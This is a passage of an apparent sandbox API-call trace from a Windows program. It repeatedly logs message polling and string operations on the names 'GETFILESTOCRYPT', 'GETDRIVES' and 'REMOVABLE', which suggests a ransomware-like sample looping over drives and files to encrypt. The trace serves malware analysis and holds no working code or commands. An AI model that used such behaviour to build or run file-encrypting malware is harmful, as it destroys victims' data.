hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.204] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.204] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.204] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.204] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.204] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.204] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.204] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.204] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.204] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.204] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.204] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.204] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.205] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.205] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.205] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.205] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.205] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.205] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.205] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.205] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.205] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.205] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.205] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.205] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.205] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.205] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.205] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.205] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.205] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.205] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.206] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.206] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.206] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.206] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.206] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.206] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.206] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.206] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.206] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.206] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.206] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.206] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.206] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.206] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.206] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.207] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.207] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.207] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.207] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.207] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.207] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.207] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.207] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.207] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.207] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.207] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.207] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.207] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.208] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.208] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.208] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.208] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.208] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.208] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.208] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.208] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.208] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.208] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.208] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.209] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.209] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.209] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.209] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.209] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.209] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.209] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.210] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.210] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.211] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.211] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.211] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.211] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.211] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.211] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.211] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.211] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.212] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.212] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.212] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.212] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.212] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.212] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.212] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.212] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.213] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.213] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.213] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.213] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.213] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.213] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.214] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.215] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.215] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.215] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.216] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.216] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.216] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.216] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.216] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.216] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.216] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.216] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.216] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.216] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.217] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.217] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.217] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.217] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.217] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.217] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.217] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.218] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.218] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.218] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.218] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.218] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.218] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.218] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.218] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.219] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.219] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.220] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.220] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.220] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.220] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.220] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.220] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.220] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.220] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.221] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.221] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.221] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.221] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.221] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.221] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.221] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.221] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.221] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.221] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.221] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.222] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.222] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.222] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.222] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.222] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.222] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.222] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.222] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.222] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.222] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.222] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.222] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.223] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.223] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.223] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.223] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.223] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.223] 